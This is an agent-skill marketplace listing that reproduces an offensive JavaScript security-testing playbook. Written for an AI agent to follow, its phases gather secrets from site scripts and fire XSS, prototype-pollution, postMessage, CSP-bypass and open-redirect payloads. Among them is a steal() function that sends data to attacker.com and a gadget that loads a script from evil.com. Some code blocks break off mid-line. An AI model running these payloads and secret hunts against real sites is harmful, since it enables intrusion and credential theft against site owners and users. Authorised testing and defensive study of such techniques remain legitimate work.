Install
$ agentstack add skill-rifteo-skills-js-analyzer Open-source listing, not yet scanned by AgentStack. Follow the source repository for install instructions.
Security review
⚠ Flagged1 finding(s); flagged for manual review. · v0.1.0 How review works →
- • Prompt-injection patterns
- • Secret / credential exfiltration
- • Dangerous shell & filesystem operations
- • Untrusted network calls
- • Known-malicious package signatures
- high Dangerous shell/eval execution.
What it can access
- ● Network access Used
- ● Filesystem access Used
- ✓ Shell / process execution No
- ● Environment & secrets Used
- ● Dynamic code execution Used
From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.
Reliability & compatibility
Declared compatibility
Compatibility is declared by the source manifest. End-to-end runtime verification is coming, see below.
We're building live execution health for every listing: tool-call success rate, median latency, uptime, and last-checked timestamps, measured, not self-reported. It isn't live yet, so we don't show numbers we can't stand behind.
How agent discovery & health will work →About
JS Analyzer — JavaScript Security Analysis
JS files are often the most information-rich attack surface in a web application. A thorough JS review routinely yields: hidden API endpoints, hardcoded secrets, client-side authorization logic to bypass, insecure postMessage handlers, and vulnerable third-party libraries.
Work through every phase in order. Stop and document each finding as you go.
Phase 1 — JS File Discovery
1.1 Automated crawling
# katana — best for SPAs and JS-heavy apps
katana -u https://target.com -jc -d 5 -o js-urls.txt
grep "\.js" js-urls.txt | sort -u
# gau — historical URLs (Wayback + Common Crawl + OTX)
gau target.com | grep "\.js$" | sort -u | tee gau-js.txt
# waybackurls — Wayback Machine only
waybackurls target.com | grep "\.js$" | sort -u
# hakrawler — fast recursive crawl
echo "https://target.com" | hakrawler -js -d 4
# gospider
gospider -s "https://target.com" -c 10 -d 5 --js -o gospider-out/
1.2 Manual discovery
# Fetch the root page and extract all script src attributes
curl -s https://target.com | grep -oP '(?/dev/null | head -30
}
# AWS
grep_js 'AKIA[0-9A-Z]{16}'
grep_js 'aws_secret|AWS_SECRET|AWSSecretKey'
# Generic API keys
grep_js '[aA][pP][iI]_?[kK][eE][yY]\s*[=:]\s*["\x27][A-Za-z0-9_\-]{16,}'
grep_js '[tT]oken\s*[=:]\s*["\x27][A-Za-z0-9_\-\.]{20,}'
# Stripe / Twilio / SendGrid / Slack
grep_js 'sk_live_[0-9a-zA-Z]{24}' # Stripe secret
grep_js 'pk_live_[0-9a-zA-Z]{24}' # Stripe public
grep_js 'AC[a-z0-9]{32}' # Twilio SID
grep_js 'SG\.[A-Za-z0-9_\-]{22}\.[A-Za-z0-9_\-]{43}' # SendGrid
grep_js 'xox[baprs]-[0-9A-Za-z\-]+' # Slack token
# Firebase / GCP / Azure
grep_js 'AIza[0-9A-Za-z\-_]{35}' # Google API key
grep_js '"type"\s*:\s*"service_account"' # GCP service account
grep_js 'firebase[Uu][Rr][Ll]\s*[=:]'
# GitHub / GitLab
grep_js 'ghp_[A-Za-z0-9]{36}' # GitHub PAT
grep_js 'glpat-[A-Za-z0-9\-_]{20}' # GitLab PAT
# JWT / private keys
grep_js 'eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+' # JWT
grep_js 'BEGIN (RSA |EC |OPENSSH )?PRIVATE KEY'
# Database connection strings
grep_js 'mongodb(\+srv)?://[^"'\'']*:[^"'\'']*@'
grep_js 'postgres(ql)?://[^"'\'']*:[^"'\'']*@'
grep_js 'mysql://[^"'\'']*:[^"'\'']*@'
# Passwords / secrets
grep_js 'password\s*[=:]\s*["\x27][^"'\'']{6,}'
grep_js 'secret\s*[=:]\s*["\x27][^"'\'']{8,}'
grep_js 'client_secret\s*[=:]\s*["\x27]'
3.3 Entropy scan (custom)
import math, re, sys
def entropy(s):
if not s: return 0
prob = [float(s.count(c)) / len(s) for c in set(s)]
return -sum(p * math.log(p, 2) for p in prob)
# Flag strings with high entropy (> 4.5 bits/char) and length > 20
pattern = re.compile(r'["\']([A-Za-z0-9+/=_\-\.]{20,})["\']')
for path in sys.argv[1:]:
with open(path) as f:
for lineno, line in enumerate(f, 1):
for m in pattern.finditer(line):
s = m.group(1)
e = entropy(s)
if e > 4.5:
print(f"{path}:{lineno} [entropy={e:.2f}] {s[:80]}")
Phase 4 — Endpoint & API Route Mapping
4.1 Extract URLs and paths
# jsluice — best dedicated tool
jsluice urls -R https://target.com/main.js | jq .
# LinkFinder — comprehensive regex extraction
python3 linkfinder.py -i https://target.com/main.js -o cli
# getJS — collect all JS then extract links
getJS --url https://target.com --complete --output js-files.txt
# Manual grep
grep -rEo '"(/[a-zA-Z0-9_/?=&\-\.%]+)"' ./js-files/ | grep -v '\.png\|\.svg\|\.css' | sort -u
grep -rEo "fetch\(['\"][^'\"]+['\"]" ./js-files/ | sort -u
grep -rEo "axios\.(get|post|put|delete|patch)\(['\"][^'\"]+['\"]" ./js-files/ | sort -u
grep -rEo '(api|endpoint|baseURL|BASE_URL)\s*[=:]\s*["\x27][^"'\'']+' ./js-files/ | sort -u
4.2 Parameter extraction
# Find query parameters referenced in JS
grep -rEo '[?&][a-zA-Z_][a-zA-Z0-9_]*=' ./js-files/ | sort -u
# Find JSON body keys sent to APIs
grep -rEo '"[a-zA-Z_][a-zA-Z0-9_]+":\s*(true|false|null|[0-9]+|"[^"]*")' ./js-files/ | \
grep -i 'id\|user\|admin\|token\|key\|secret\|pass\|role\|scope' | sort -u
# Hidden parameters — look for feature flags and undocumented params
grep -rEi 'debug|internal|beta|test|admin|staging|dev_mode|feature_flag' ./js-files/ | \
grep -v '^\s*//' | sort -u
4.3 GraphQL introspection detection
# Look for GraphQL operation names and fragments
grep -rE 'query\s+\w+|mutation\s+\w+|subscription\s+\w+|gql`|GraphQL' ./js-files/ | head -30
# Find the GraphQL endpoint
grep -rE '(graphql|gql)["\x27]?\s*[,\)]' ./js-files/ | grep -Eo '"[^"]*"' | sort -u
# Test introspection (once endpoint found)
curl -s -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name fields{name}}}}"}'
Phase 5 — DOM-Based XSS Analysis
5.1 Identify dangerous sinks
# All high-risk sinks
SINKS="innerHTML|outerHTML|insertAdjacentHTML|document\.write|document\.writeln|\
eval\(|setTimeout\(|setInterval\(|Function\(|new Function|execScript|\
location\.href|location\.assign|location\.replace|location=|window\.location|\
src=|href=|action=|formaction="
grep -rEn "$SINKS" ./js-files/ | grep -v '^\s*//' | sort -u | head -50
5.2 Identify controllable sources
SOURCES="location\.search|location\.hash|location\.href|location\.pathname|\
document\.referrer|document\.URL|document\.documentURI|document\.baseURI|\
window\.name|history\.state|postMessage|localStorage\.getItem|sessionStorage\.getItem|\
document\.cookie|URLSearchParams|decodeURI|decodeURIComponent"
grep -rEn "$SOURCES" ./js-files/ | grep -v '^\s*//' | sort -u | head -50
5.3 Trace source-to-sink flows
For each source found, trace how the value flows to a sink:
Source → [optional transformation] → Sink
document.location.search → decodeURIComponent() → innerHTML ← VULNERABLE
document.location.hash → someVar → eval() ← VULNERABLE
location.href → encodeURIComponent() → innerHTML ← likely safe (encoded)
5.4 DOM XSS confirmation payloads
alert(1)
alert(document.domain)
alert`1`
(alert)(1)
javascript:alert(document.domain)
data:text/html,alert(document.domain)
javascript:alert(1)
5.5 URL hash / fragment XSS testing
# If the app reads location.hash and writes it to the DOM:
https://target.com/page#
https://target.com/page#javascript:alert(1)
# Double URL-encoded
https://target.com/page#%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
5.6 Automated DOM XSS scanning
# dalfox — powerful DOM XSS scanner
dalfox url "https://target.com/page?param=FUZZ" --skip-bav
# domxssscanner (online)
# https://domxssscanner.com
# Burp DOM Invader — browser extension for tracing sources/sinks
Phase 6 — Prototype Pollution
6.1 Detect vulnerable patterns
# Server-side PP (Node.js) — dangerous merge/extend/clone functions
grep -rEn "merge\(|extend\(|clone\(|deepCopy\(|assign\(|defaultsDeep\(" ./js-files/ | \
grep -v '^\s*//' | head -30
# Look for recursive assignment patterns
grep -rEn "\[key\]\s*=|obj\[prop\]|target\[k\]\s*=" ./js-files/ | head -20
# Look for prototype access
grep -rEn "__proto__|constructor\.prototype|Object\.prototype" ./js-files/ | head -20
6.2 Client-side PP test payloads
# URL query string (if parsed with a vulnerable parser)
?__proto__[polluted]=1
?constructor[prototype][polluted]=1
?__proto__.polluted=1
# JSON body (if merged into an object)
{"__proto__": {"polluted": "1"}}
{"constructor": {"prototype": {"polluted": "1"}}}
# Nested key notation (qs, query-string libraries)
?a[__proto__][polluted]=1
?a[constructor][prototype][polluted]=1
6.3 Detect pollution
// In browser console — after sending the payload:
console.log(({}).polluted); // → "1" if polluted
console.log(Object.prototype.polluted); // → "1" if polluted
6.4 Escalate: PP → XSS
Common gadget chains:
// jQuery "
Object.prototype.src = "https://evil.com/evil.js"
Object.prototype.template = ""
6.5 Automated PP detection
# ppmap — browser-based PP gadget scanner
node ppmap/ppmap.js "https://target.com"
# ppfuzz
ppfuzz -u "https://target.com/?param=FUZZ"
# nuclei template
nuclei -u https://target.com -t vulnerabilities/generic/prototype-pollution.yaml
Phase 7 — postMessage Vulnerabilities
7.1 Find postMessage handlers
# Look for message event listeners
grep -rEn "addEventListener\(['\"]message['\"]|on[Mm]essage\s*=" ./js-files/ | head -20
# Look for postMessage calls (sending side — reveals what's expected)
grep -rEn "\.postMessage\(" ./js-files/ | head -20
# Look for origin validation (or lack of)
grep -rEn "event\.origin|message\.origin|e\.origin" ./js-files/ | head -20
7.2 Vulnerable handler patterns
// VULNERABLE — no origin check
window.addEventListener("message", function(e) {
eval(e.data);
});
// VULNERABLE — weak origin check
window.addEventListener("message", function(e) {
if (e.origin.includes("target.com")) { // bypassable with "evil-target.com"
document.getElementById("div").innerHTML = e.data;
}
});
// VULNERABLE — checking wrong property
window.addEventListener("message", function(e) {
if (e.data.from === "trusted") { // data is attacker-controlled!
doSomething(e.data.payload);
}
});
// SAFE — strict origin check
window.addEventListener("message", function(e) {
if (e.origin !== "https://trusted.com") return;
// process e.data
});
7.3 Exploitation
var iframe = document.getElementById("target");
iframe.onload = function() {
// Send payload after the page loads
iframe.contentWindow.postMessage(
'', // innerHTML sink
'*' // any origin — or set to target origin
);
// Alternative: send an object
iframe.contentWindow.postMessage(
{action: "navigate", url: "javascript:alert(1)"},
'*'
);
};
7.4 Origin bypass techniques
# If the check is: e.origin.includes("target.com")
Use origin: https://evil-target.com
# If the check is: e.origin.startsWith("https://target.com")
Use origin: https://target.com.evil.com (if subdomains allowed)
# If there's no check at all
Use any origin — wildcard * works
Phase 8 — Client-Side Logic & Authorization Flaws
8.1 Role / admin checks in JS
# Find client-side role/permission checks
grep -rEin "isAdmin|is_admin|role\s*===|role\s*==|userRole|hasPermission|\
canAccess|isAuthenticated|isPremium|isModerator|isStaff|user\.admin" \
./js-files/ | grep -v '^\s*//' | head -30
8.2 Feature flags and hidden UI
# Feature flags / toggle conditions
grep -rEin "featureFlag|feature_flag|launchDarkly|unleash|growthbook|\
enableFeature|if.*debug|if.*beta|if.*staging|if.*internal" \
./js-files/ | head -30
# Hidden routes in SPA routers (React Router, Vue Router, Angular routes)
grep -rEn "path:\s*['\"]|
function steal(data) {
new Image().src = "https://attacker.com/log?d=" + encodeURIComponent(JSON.stringify(data));
}
Phase 12 — WebSocket Analysis
12.1 Find WebSocket connections
# WebSocket connection setup in JS
grep -rEin "new WebSocket|ws://|wss://|socket\.connect|io\.connect\|socket\.io" \
./js-files/ | head -20
# Messages sent (what's the protocol?)
grep -rEin "socket\.send\|\.emit\(|ws\.send" ./js-files/ | head -20
12.2 WebSocket origin bypass
var ws = new WebSocket("wss://target.com/ws");
ws.onopen = function() {
ws.send('{"action":"getProfile","userId":1}');
};
ws.onmessage = function(e) {
console.log(e.data);
};
12.3 Intercept WebSocket traffic
Use Burp Suite's WebSocket history tab — intercept and replay messages to test:
- Message tampering (change IDs, roles, amounts)
- Missing authentication on individual message types
- Injection in message parameters (SQLi, XSS, command injection)
Phase 13 — CSP Analysis & Bypass
13.1 Extract and parse CSP
# Fetch headers
curl -s -I "https://target.com" | grep -i "content-security-policy"
# Analyze with csp-evaluator
curl -s -I "https://target.com" | grep -i content-security-policy | \
python3 -c "import sys; print(sys.stdin.read())"
# Online tool: https://csp-evaluator.withgoogle.com
13.2 Common CSP bypass techniques
| Bypass | Condition | Payload | |---|---|---| | unsafe-eval | script-src includes unsafe-eval | eval(atob("YWxlcnQoMSk=")) | | unsafe-inline | script-src includes unsafe-inline | alert(1) | | JSONP endpoint | script-src whitelists a domain with JSONP | ` | | Angular ng-src | script-src 'self' + AngularJS allowed | {{constructor.constructor('alert(1)')()}} | | CDN bypass | CDN in whitelist with user-upload | Upload JS to CDN, load from there | | Dangling markup | No img-src restriction | | | object-src missing | No object-src | ` |
13.3 Check for trusted CDN bypasses
# Domains in script-src that have JSONP or user-controlled content
WHITELIST_DOMAINS=$(curl -sI https://target.com | grep -i content-security-policy | \
grep -oE 'https?://[^ ;]+' | sort -u)
for domain in $WHITELIST_DOMAINS; do
echo "[*] Testing $domain for JSONP..."
curl -s "$domain/api?callback=alert(1)" | grep "alert(1)" && echo "[!] JSONP bypass found at $domain"
done
Phase 14 — Deobfuscation & Code Analysis
14.1 Deobfuscate JS
# js-beautify — format minified JS
js-beautify -o pretty.js minified.js
npm install -g js-beautify && js-beautify main.js
# prettier
npx prettier --write main.js
# deobfuscate-js — handles obfuscator.io output
npm install -g deobfuscate-js
deobfuscate-js obfuscated.js
# synchrony — handles common obfuscation patterns
npx synchrony deobfuscate obfuscated.js
14.2 Handle common obfuscation patterns
// Pattern 1: string array with shift/rotate
// Look for: _0x1234 = [...], _0x5678 = function(a,b){...}
// Use: https://deobfuscate.io or synchrony
// Pattern 2: hex/unicode escape sequences
// "\\x61\\x6c\\x65\\x72\\x74" → decode in Node.js:
node -e "console.log('\x61\x6c\x65\x72\x74')"
// Pattern 3: eval(atob("..."))
// Decode base64 first:
echo "YWxlcnQoMSk=" | base64 -d
// Pattern 4: Function constructor
// Function("return this")() — extract the string argument
14.3 Identify eval sinks in obfuscated code
grep -rEn "eval\(|Function\(|setTimeout\(['\"]|setInterval\(['\"]" ./js-files/ | head -20
Phase 15 — Open Redirect via JS
15.1 Find JS-driven redirects
# Redirect patterns driven by URL parameters or user input
grep -rEin "location\.href\s*=|location\.assign\|location\.replace\|window\.open\(" \
./js-files/ | head -30
# Check if redirects consume URL parameters
grep -rEin "URLSearchParams\|location\.search\|location\.hash" ./js-files/ | \
grep -i "redirect\|return\|next\|url\|goto\|callback\|target\|dest\|redir" | head -20
15.2 Test payloads
# Basic
https://target.com?redirect=https://evil.com
https://target.com?next=//evil.com
https://target.com?url=javascript:alert(1)
# Bypass techniques
https://target.com?redirect=//evil.com # protocol-relative
https://target.com?redirect=///evil.com # triple slash
https://target.com?redirect=/\evil.com # backslash
https://target.com?redirect=https:evil.com # missing //
https://target.com?redirect=%09//evil.com # tab bypass
https://target.com?redirect=https://target.com@evil.com # @ bypass
Phase 16 — Webpack / Bundler Specific Techniques
16.1 Webpack bundle analysis
# Install webpack bundle analyzer
npm install -g webpack-bundle-analyzer
# Check for webpack DevServer exposure (critical: exposes full source)
curl -s "https://target.com/webpack-dev-server" | head -20
curl -s "https://target.com/__web
…
## Source & license
This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.
- **Author:** [Rifteo](https://github.com/Rifteo)
- **Source:** [Rifteo/skills](https://github.com/Rifteo/skills)
- **License:** MIT
Install and usage instructions live in the source repository linked above.
Reviews
No reviews yet, be the first.
Write a review
Versions
- v0.1.0 Imported from the upstream source.